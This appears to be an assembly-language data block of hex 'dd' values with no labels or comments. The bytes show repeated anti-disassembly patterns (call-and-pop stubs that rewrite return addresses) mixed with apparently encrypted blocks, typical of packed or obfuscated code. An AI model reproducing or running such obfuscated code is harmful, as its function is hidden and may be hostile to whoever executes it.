dd 6864248Bh, 35A5C03Ah, 3FB2341Ch, 35A60BB1h, 190B1A1Ch
dd 869E5E55h, 625EE211h, 0BCC2FF6Fh, 3CB25AFh, 0F5BD6CBBh
dd 12965D7Ch, 3D32BCAEh, 15CF15B9h, 911C35A6h, 0F4988E0Fh
dd 35A604AEh, 16DE001Ch, 0AB2Eh, 0CB605A00h, 21A123CEh
dd 4009E4E6h, 0AA49ADAAh, 0BC39B2Eh, 36972D5h, 8C406615h
dd 14DFFC72h, 39DD6490h, 0C82CA9C7h, 0E0BDDA56h, 589B0418h
dd 117D7C8h, 0FCE83513h, 8E4A7D7h, 6964E017h, 3753F65h
dd 6F711301h, 90191587h, 6DEF029Fh, 4C341A83h, 3F5E2F27h
dd 0C95C986Ah, 0F8A626FEh, 0BD8C1A2h, 0A4C75E60h, 0A84F9028h
dd 14DF1166h, 1CA63C90h, 181C2888h, 2EB05E96h, 0C4DD51C3h
dd 0E6CE3F2Dh, 0D7F7AFFAh, 100D3C9h, 98912715h, 0F8AEEF01h
dd 0DB86A4C8h, 0E7BDE566h, 0E50700Eh, 415F6F69h, 13008B7Bh
dd 0E68D696Fh, 5BD39B2Eh, 0BF31B33Eh, 0F9F6AF0Fh, 0F1009D93h
dd 264A536Fh, 59B3FB7h, 150E7D8Fh, 3AAE456Bh, 1CE4B926h
dd 0CC5C9700h, 5F6E8F8Ah, 9B6E56C7h, 8B21A87h, 8D6A8A17h
dd 0A74A57CBh, 559C3D35h, 7B0EF667h, 0DFA1FAE7h, 0B39B5643h
dd 3, 47844F14h, 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh
dd 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h
dd 5E08950h, 4, 4B951h, 0C8290000h, 24048759h, 15C2685Ch
dd 14890000h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
dd 2434895Ch, 2867B850h, 0D8F74F02h, 0AA7C220Dh, 46B95105h
dd 31BCC704h, 0C28959C8h, 4EC8158h, 89000000h, 4812424h
dd 424h, 68505E00h, 8, 89F00158h, 348B5810h, 0E2895224h
dd 4C281h, 0C2810000h, 4, 5C241487h, 5224148Bh, 0C281E289h
dd 4, 8704C283h, 0E95C2414h, 0FFFC7D34h, 53568A8Bh, 64C94740h
dd 39010EB8h, 0FFC50309h, 2737CCE0h, 0F2ECF169h, 893F5310h
dd 90F7A505h, 223B3302h, 0B89E6C18h, 325BA67Fh, 0CA355E18h
dd 2977E43Bh, 9C18B60h, 350E3D8Dh, 4EB09h, 29000000h, 352AD59Dh
dd 34A7BE09h, 13E853D6h, 98000000h, 33F5E5EDh, 0A83C07BCh
dd 1480B9E1h, 0B25A65C3h, 0EF81AABFh, 2A1D01C6h, 7DBD895Eh
dd 8D093507h, 35265985h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 8D0F84B9h, 0
dd 0AFBF5350h, 5E67FEE5h, 89240489h, 350B019Dh, 6A006A09h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0A83EC355h, 0DDBD31A3h, 6A093511h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0EF32E06Ah, 11E9h, 0D9E5B900h, 323B2F11h, 0FB8687A8h
dd 62790B91h, 858D54BBh, 93903D6h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 82C35141h, 0DC4D84A6h, 83F5CBECh
dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 9D700EC3h, 0B426100Eh, 8BA720DFh, 39B501F2h
dd 50093510h, 0F38B6653h, 2404895Eh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 0F1C35646h, 33813BF4h, 3526E5B5h
dd 0E9006A09h, 13h, 0F338EA0h, 4BAAE299h, 8DA9FAE1h, 985FFAC7h
dd 0BFDA3444h, 5CF8C989h, 0BD23006Ah, 9351C25h, 33195FFh
dd 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 0E1A619C3h, 16AF1F4Fh, 8D9EE607h, 389AAB9Dh
dd 62F78109h, 0FF083DBAh, 51006AD3h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 8B666086h
dd 0BDBB66F9h, 85FF61D7h, 9353009h, 13E9h, 0AAEF7400h
dd 7CE05416h, 2B47F2DAh, 98F92E13h, 44CCDB8Eh, 898E9h
dd 0E800h, 815D0000h, 3903E0EDh, 0EDBD8109h, 0D0093528h
dd 0F000007h, 1C186h, 0FB8B6600h, 0D59D8Bh, 0BE90935h
dd 0B3000000h, 0E8AED3A5h, 5DFD1B6Bh, 5F579641h, 100E381h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0C891E6C3h, 12840Fh, 6E80000h, 0E9000000h
dd 0DCEADCA3h, 8A0FA3h, 5F000000h, 850FDB0Bh, 0B3h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A8C35646h, 0B5893A91h
dd 935242Dh, 0BD83FB8Bh, 93901E1h, 45840F00h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 2AA0C352h, 6E8B2h, 1690000h, 2908D241h, 0AD5B58Bh
dd 8B5F0935h, 0A0E9F7h, 9E90000h, 0CA000000h, 0FF7A5440h
dd 0BAAF13DAh, 1E185C7h, 10939h, 89600000h, 3524F59Dh
dd 618D8909h, 61093523h, 75E9h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0C7F85CAEh
dd 3901E185h, 9, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 0C1ABA71Fh, 0FE8h, 0B7D82000h
dd 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h, 0DE8h, 7AC84300h
dd 0A594280Bh, 0AB9FB2Eh, 0B50936FDh, 935269Dh, 9D8D5E5Eh
dd 93500D5h, 0E75B58Bh, 800F0935h, 6, 0C2A1D681h, 238133F6h
dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0F8C35141h, 0CD70BE66h, 13E9h, 37C64300h, 0BBA26105h
dd 0C68C6E94h, 383AF40Ah, 3948F133h, 8C66FA8Bh, 53006ADBh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0DF284C51h, 0F04C3F6h, 0AC84h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0C9EF295Fh
dd 14E9h, 4DAD5800h, 29181CEBh, 48AEF3A2h, 0DA354CACh
dd 0A1583351h, 7195FF60h, 6A093524h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8BDAC357h
dd 90FFBF0Fh, 14E8h, 7CB8FB00h, 0C7719A72h, 316313EEh
dd 7E96D646h, 824C6380h, 0FE8B6684h, 8E9505Eh, 57000000h
dd 0F4EAC41Ch, 9086CB5Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 18C35646h, 8BF7E7ECh, 3F5E9F2h, 0BD8B0000h
dd 9351215h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 43BA0BC3h, 60573A42h, 0B52B6160h
dd 9351699h, 0B58B5E61h, 93524D1h, 0F6070E6h, 6652D7BFh
dd 615BDF8Bh, 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 860FEDC3h, 3, 0FF28B66h, 0FE8D8B6h
dd 0B2000000h, 59A143AFh, 5C14FB1Bh, 0BA0F17Bh, 0BF0F71FEh
dd 6BA5EF9h, 0BF000000h, 70FFE286h, 1D7DB531h, 0C38B0935h
dd 0C1F98B66h, 6A04E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0F766E0C3h, 52006AE2h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 14A69284h
dd 3A29CE81h, 9589706Ch, 9353261h, 2840Fh, 0F38B0000h
dd 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0AD2A1DC3h, 8A050657h, 10E980h, 37DA0000h
dd 6489EF69h, 0B516ED5Bh, 8D7E4D3Eh, 5093C3D6h, 0DE9h
dd 0A127EC00h, 0A0723295h, 765D9082h, 993B1B8h, 3510E185h
dd 0EDB5FF09h, 0E8093528h, 9, 0C03F46F8h, 92B06C45h, 5DBD8B3Ah
dd 5E093503h, 82995FFh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 781947C3h, 1E89B58Bh
dd 0B00935h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0A9C35040h, 0F8DAC255h, 28E0Fh, 0F18B0000h, 8B6070E6h
dd 35109D8Dh, 71E46109h, 830F613Ch, 22Bh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Dh, 36C35141h, 0A9E23E10h
dd 7A5BCB45h, 85BF66DCh, 0D8B60FE1h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 2CC35242h, 0F3DADFCEh, 0BABA3046h
dd 6, 1D699509h, 0C38B0935h, 26B19D01h, 0E8C10935h, 50006A04h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 79D2987Dh, 0F67C5BBh, 0F766FEB7h, 56006AE2h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 2DFF0374h
dd 898E88A8h, 350AD19Dh, 8BD82B09h, 351B61B5h, 0D1BE5809h
dd 2B41FF44h, 60880FD8h, 8B000001h, 350E45B5h, 10E909h
dd 2C140000h, 0BE5BBFA9h, 0CAFDF6EAh, 3DDDD60Fh, 7B92CB4h
dd 0F000000h, 38Bh, 0F28B6600h, 6A00C183h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 1B9C350h
dd 350CE19Dh, 0FD93B09h, 10A86h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 69592F1Fh
dd 49353549h, 8C6626C9h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 0CD07A97h, 8BF28B76h
dd 4C1F6F0h, 0B3840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 0C8EB39C3h, 799D3132h
dd 3309350Ch, 352F99B5h, 7195FF09h, 6A093524h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 2CEFC355h, 0FFC003Ah, 38Eh, 0F88B6600h, 0B589FC5Bh
dd 93504C5h, 0B70FC32Bh, 8343DF0h
dd 860F0000h, 41h, 27F1BD8Bh, 38E90935h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 67BBC357h, 9589966Fh, 9351C11h, 6E960h, 87F30000h, 8CC48EEBh
dd 0CF70BE66h, 8BC08B61h, 6AD88BC3h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0EAE1C351h
dd 0E0213A2Fh, 69426043h, 10BB60FCh, 109D8AEh, 3526998Dh
dd 85C76109h, 9350B21h, 5FD93D7Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 30C35343h, 6FD3D4FDh, 89216162h
dd 351DED85h, 89C08B09h, 351D9D8Dh, 0EDBD8109h, 0D0093528h
dd 0F000007h, 4285h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 85FF8A0Dh, 93528EDh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 55C35646h, 0FF993D20h
dd 3528EDB5h, 0F6BF0F09h, 82995FFh, 0B70F0935h, 6A90F6h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 7A1837C3h, 10315FBh, 350BBD85h, 50006A09h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0C54E937Dh
dd 4D4C64DCh, 6A6D34h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0CAF063C3h, 0BD0B8A24h, 93525BDh
dd 0CDBD2B57h, 5E09351Dh, 0FFBB70Fh, 38Bh, 0FFB70F00h
dd 1F79BD8Bh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 6AE334C3h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0CCE0C355h
dd 89C53ADBh, 352555BDh, 0EE816609h, 0BE66CE1Ch, 81668376h
dd 0E96EC9C6h, 6, 7012DFD6h, 8166A6B1h, 0E891C7E7h, 0Bh
dd 2177A38Ah, 0D0856DBBh, 89DAD1E1h, 350A81B5h, 0F5B58909h
dd 5E09352Ch, 0FFF76CE9h, 22BF66FFh, 6AC18B40h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0A536C351h, 153D0438h, 8926CE95h, 3527E9B5h, 820F09h
dd 0EB000000h, 4, 0C5BD2B00h, 6A093502h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 2291C352h
dd 85BD2B7Ch, 8D09350Ch, 35265985h, 0A1858909h, 9009352Eh
dd 0A840F50h, 0F000000h, 48Dh, 0DBE6600h, 6A9046h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 297DAC3h, 6A7CAEDFh, 6A006A00h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 2833C353h
dd 858D2E0Ch, 9390E55h, 83FB8B66h, 895705C0h, 3524F59Dh
dd 9D895F09h, 9351AC1h, 0E8905090h, 13h, 7E7AED37h, 0E5B96C9Ch
dd 3B2F11D9h, 8687A832h, 290B91FBh, 35257985h, 6A5E09h
dd 0FE9h, 33E96100h, 0B62A7C50h, 0AC77C816h, 4FC51EDh
dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 2CAAEDC3h, 0F0B70F67h, 31B52B53h, 5F09352Fh
dd 33195FFh, 51520935h, 3FD8D89h, 5E5E0935h, 0ED9BD89h
dd 9D8D0935h, 9389AABh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0B5C35040h, 0F526034Dh, 5DBD8B36h, 0E809352Ah
dd 8, 814D932Ah, 7CAB548Fh, 22B9BD31h, 0FF5F0935h, 53006AD3h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 85FF8CE1h, 9353009h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0DEC35040h, 498D8949h, 0E909352Ch, 823h
dd 0E8h, 0ED815D00h, 9390E5Fh, 28EDBD81h, 7D00935h, 860F0000h
dd 160h, 30118589h, 0BD8B0935h, 93516C9h, 101D9D8Bh, 6A0935h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 9BA5EBC3h, 0E381F18Bh, 100h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 0E5C35747h, 0BD5A1EBDh, 0E96520ADh
dd 13h, 3A14A9D3h, 0DEA0FE58h, 5E91040Ch, 90FF107Dh, 0BCD36B0h
dd 9C850FDBh, 0F000000h, 689h, 0E5BD8B00h, 83093503h, 390CA7BDh
dd 840F0009h, 2Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 0E3C35747h, 9A77F694h, 6CE91704h, 0F8000000h
dd 0E1DBD8Bh, 85C70935h, 9390CA7h, 1, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0A7C35545h, 1DB4997h, 86EF00C3h
dd 31E993h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 660511C3h, 0C7397FBFh, 390CA785h
dd 9, 0A1B58B00h, 8D093522h, 35101D9Dh, 52006A09h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0C4CC5B25h, 59B2641Ah, 2192BE56h, 815E4C64h, 0FFFEFF23h
dd 0F28B66FFh, 6ADB8C66h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 7A5BC353h, 9D8993DCh
dd 93511C5h, 12E9h, 119DA500h, 0ECCE3BABh, 0A07B4D3Dh
dd 0B8BBD635h, 0F6B2DABCh, 840F04C3h, 6Ah, 0B186B060h
dd 95FF6149h, 9352471h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0F3C35545h, 0C4DB0685h, 22710FFBh, 90F98B1Ch
dd 8B666050h, 2F99BFC6h, 906104FAh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 27C35545h, 94FB9BE3h, 55AF742Eh
dd 3085B58Bh, 0F7E90935h, 0BF000003h, 8BD51DBh, 0F5300B0h
dd 0E85h, 9E900h, 0EE680000h, 10C829CEh, 5E857B90h, 8E0F70E6h
dd 5, 5DDE8166h, 6A71E4C5h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 9267C356h, 0ACBA8A97h
dd 0D8B60F26h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0C7C35242h, 7E98Ah, 0FC7D0000h, 493202B0h, 6BA68h
dd 8B660000h, 8BC38BF3h, 350075B5h, 4E8C109h, 12E8h, 6B429A00h
dd 1CA20875h, 0FED4B221h, 6A4CAB04h, 66913F1Dh, 0DFA0EE81h
dd 0E2F7665Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0E6C35545h, 5E986h, 0EBBD0000h, 2BFB1E6Ch, 81BD31D8h
dd 5009350Dh, 65EF04BEh, 241C894Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 76C35747h, 0BE8h, 0E155AE00h
dd 8EE0B65Ch, 0E927E473h, 3850F5Fh, 0F000000h, 0B5FFF7B7h
dd 93528EDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0DDC35141h, 0C8563153h, 259501h, 0BF660935h, 95FF261Ah
dd 9350829h, 8BFA8B60h, 35235DB5h, 0B06109h, 599B503h
dd 70E60935h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 18C35646h, 0E4D49292h, 5850F71h, 0BE000000h, 4095D570h
dd 830F613Ch, 25Eh, 0DC5B58Bh, 0B60F0935h, 56006AD8h, 3E8h
dd 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 8B921951h, 35239DB5h
dd 6BA09h, 8BBF0000h, 8B215DD5h, 0BD8B60C3h, 9350AE1h
dd 61C88B66h, 0BE04E8C1h, 1A22152Ch, 6AE2F766h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 8CC8C351h, 0E8B9B918h, 282323CCh, 1B61B58Bh, 0D82B0935h
dd 0E558589h, 12E90935h, 84000000h, 654EF3C2h, 14CB4027h
dd 116916Ch, 4A0078F0h, 0BD8B5886h, 9350421h, 880FD82Bh
dd 1B6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 62C35646h, 66577DB8h, 5F7922BEh, 7B9h, 10E800h
dd 0A3480000h, 0DA77B6ADh, 0C8F4509Bh, 4DA818F5h, 8E9CEB8h
dd 1D000000h, 3DC193FEh, 5E574B30h, 6A00C183h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 8BDBC352h, 4CB56CB8h, 8A0FE7CCh, 6, 0E399501h, 0D93B0935h
dd 130860Fh, 95310000h, 9350055h, 81D98C66h, 0BDC14CCEh
dd 4C1F635h, 0EE840Fh, 89600000h, 35332D95h, 13E909h, 2E2F0000h
dd 61B5DB1Dh, 10D4BCF2h, 2281360Ch, 0A329DCCh, 95FF61B8h
dd 9352471h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 0B1C35242h, 0E1BD895Bh, 2B093528h, 53006AC3h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0ABA0D127h, 946DA38h, 0D78150C3h, 8757C72h, 5ABE665Fh
dd 8343DD7h, 860F0000h, 68h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 0BFC35646h, 9195E6DCh, 0D5A5E59Dh
dd 0A6DE8166h, 64E90Dh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 3821E2C3h, 25EF8060h
dd 12E961h, 0A8A80000h, 0CF959CFDh, 0BE4F1A31h, 0FCE75B76h
dd 35F4BBC2h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0C015E6C3h, 8166F2BBh, 66A2F5DFh
dd 0C38BF78Bh, 0E860D88Bh, 0Bh, 0FFBC4DBh, 0A11C2271h
dd 8118057Ch, 37BE09D0h, 0C7805972h, 85C761ADh, 93500D5h
dd 5AAB4711h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 8BC35545h, 8BF4FD10h, 52006AC0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 5EF0771Ch
dd 94D1930Eh, 9D31503Ch, 93521B5h, 0FEBF0F5Fh, 28EDBD81h
dd 7D00935h, 850F0000h, 9, 28ED85FFh, 8B660935h, 0EDB5FFF9h
dd 6A093528h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 769CC351h, 0A4327FB9h, 0FBA61ADh
dd 0C87h, 6820F00h, 31000000h, 351D01BDh, 2995FF09h, 0B093508h
dd 35065DB5h, 0E7819009h, 359FF292h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 21C35545h, 0F522134h, 585h
dd 28BABF00h, 6A5E49AAh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0A5CC351h, 8D0F4722h
dd 7, 2E258529h, 0F8F90935h, 300DBD89h, 0BD8B0935h, 935164Dh
dd 0DD4CEF81h, 6A2E8Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 0C4C75C3h, 20466332h, 66E42EC4h
dd 8B0D54BEh, 0CE9F2h, 68950000h, 92254A69h, 8DB2705Dh
dd 0BD8BC762h, 93502BDh, 0DE8h, 43726700h, 9E2AF47Ah, 76641EFFh
dd 57BE55F1h, 5E31FE22h, 7E9h, 0BEF7B00h, 98AF010Fh, 11E8h
dd 267B800h, 0FC8BCF8Fh, 5752AC06h, 73C01D25h, 8B5E94F6h
dd 352849BDh, 75958909h, 0F09350Bh, 1387h, 11BD8B00h, 0E909352Ch
dd 8, 0D62682E6h, 91082AB6h, 0FFF7E3E9h, 459D89FFh, 8B093517h
dd 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 4B68A796h, 0BED582AFh, 870F60BCh, 6, 1DCD8589h
dd 4EB0935h, 0
dd 639BD8Bh, 0BD2B0935h, 9351C15h, 2659858Dh, 6A0935h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 6660D3C3h, 0A26DC081h, 8D0F57h, 58000000h, 0BE509061h
dd 5024FC61h, 9E9505Eh, 0A6000000h, 0C862D486h, 4E99F303h
dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 27C63317h, 0FE8B32Bh, 6AF3B7h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6EC35242h, 65F0C472h
dd 8501006Ah, 9350365h, 1872858Dh, 6A0939h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 8392E8C3h
dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0C3D1A8C3h, 0BB0D6C50h, 860F2E09h, 1, 8950FCF5h
dd 0BE82404h, 9C000000h, 0F211F234h, 0C835AA8Ch, 0B70FFD2Ch
dd 6A5EF8h, 3820F60h, 66000000h, 0E881C38Bh, 35A7E588h
dd 6A006A61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 8DEFC353h, 17A5BD8Bh, 95FF0935h
dd 9350331h, 0EE9h, 9D948000h, 6CFCF90Ah, 0D49AE719h, 8DB05346h
dd 389AAB9Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 67AAD642h, 0BB62964h, 85FFD3FFh
dd 9353009h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 0ABC35343h, 1D0C8D8Ch, 7E9h, 0C4705F00h, 477F74FEh
dd 7DEE9h, 0E800h, 815D0000h, 39187CEDh, 55006A09h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 46FE06AEh, 0B70FC955h, 61BD8BF2h, 81093523h, 3528EDBDh
dd 7D009h, 4C860F00h, 66000001h, 8B7E8CBFh, 3516D19Dh
dd 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0E381F7B0h, 100h, 0FB9BD8Bh, 0DB0B0935h
dd 0DD850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 830987C3h, 3916B2BDh, 840F0009h
dd 66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
dd 9AC35747h, 0C9B58B9Eh, 0E909352Fh, 9Ch, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5AC35747h, 68E93469h
dd 10E8F84Dh, 0AC000000h, 0DBA24171h, 34B88320h, 0C05C0BAEh
dd 2909F078h, 35249D9Dh, 85C75E09h, 93916B2h, 1, 0D5958B60h
dd 0F09350Bh, 48Ch, 0A0B86600h, 3DE961EBh, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0F3E7C350h, 0FD9F8DDh, 686h, 61B58B00h, 0C7093527h
dd 3916B285h, 9, 0F9BD8B00h, 0F8093505h, 16D19D8Dh, 66530935h
dd 5FCD4FBFh, 0FEFF2381h, 0CE9FFFFh, 0CF000000h, 4BBC5773h
dd 0F5E36963h, 66EFFE41h, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0BB54DFC3h, 0F04C3F6h
dd 8684h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 94039B8Bh, 605A44D6h, 12DF7EB8h
dd 3880F6Dh, 80000000h, 0FF616BEAh, 35247195h, 8B666009h
dd 8B6660D6h, 0E96161F7h, 10h, 0B1F5D3BAh, 98E9C431h, 0D7245D9Eh
dd 3A471BC5h, 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 0E1C35747h, 0B8B6C4E8h, 0D1B11571h, 3995898Ah
dd 0E9093532h, 3B9h, 2655B589h, 0B00935h, 2D099D01h, 70E60935h
dd 6A71E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0FF91AC3h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 583094C3h, 6BAFC74h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 4D66C351h, 8B37D7B6h, 6E9C3h
dd 0C97D0000h, 460C40D2h, 6A04E8C1h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0ECF5C352h
dd 34A9752h, 8B169075h, 350AF1BDh, 0E2F76609h, 5840Fh
dd 81660000h, 2B49ACD7h, 0BF5693D8h, 64526670h, 8B66505Eh
dd 6A93F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 504613C3h, 5EF2B70Fh, 28EDB5FFh, 810F0935h
dd 0
dd 82995FFh, 0BD8B0935h, 93526A9h, 0BD8900B0h, 93531EDh
dd 8E0F70E6h, 6, 135B533h, 71E40935h, 830F613Ch, 291h
dd 13E8h, 25223000h, 0CAA36F3Ah, 0BDB822F5h, 48275D73h
dd 64987F9Fh, 0D8B60F5Eh, 266DB50Bh, 0BAFC0935h, 6, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C9C35141h, 0BD8BFCA3h
dd 935006Dh, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 7315ABC3h, 858960B5h, 9351C1Dh
dd 2B7FB1BBh, 0E8C16173h, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B378F7Ah
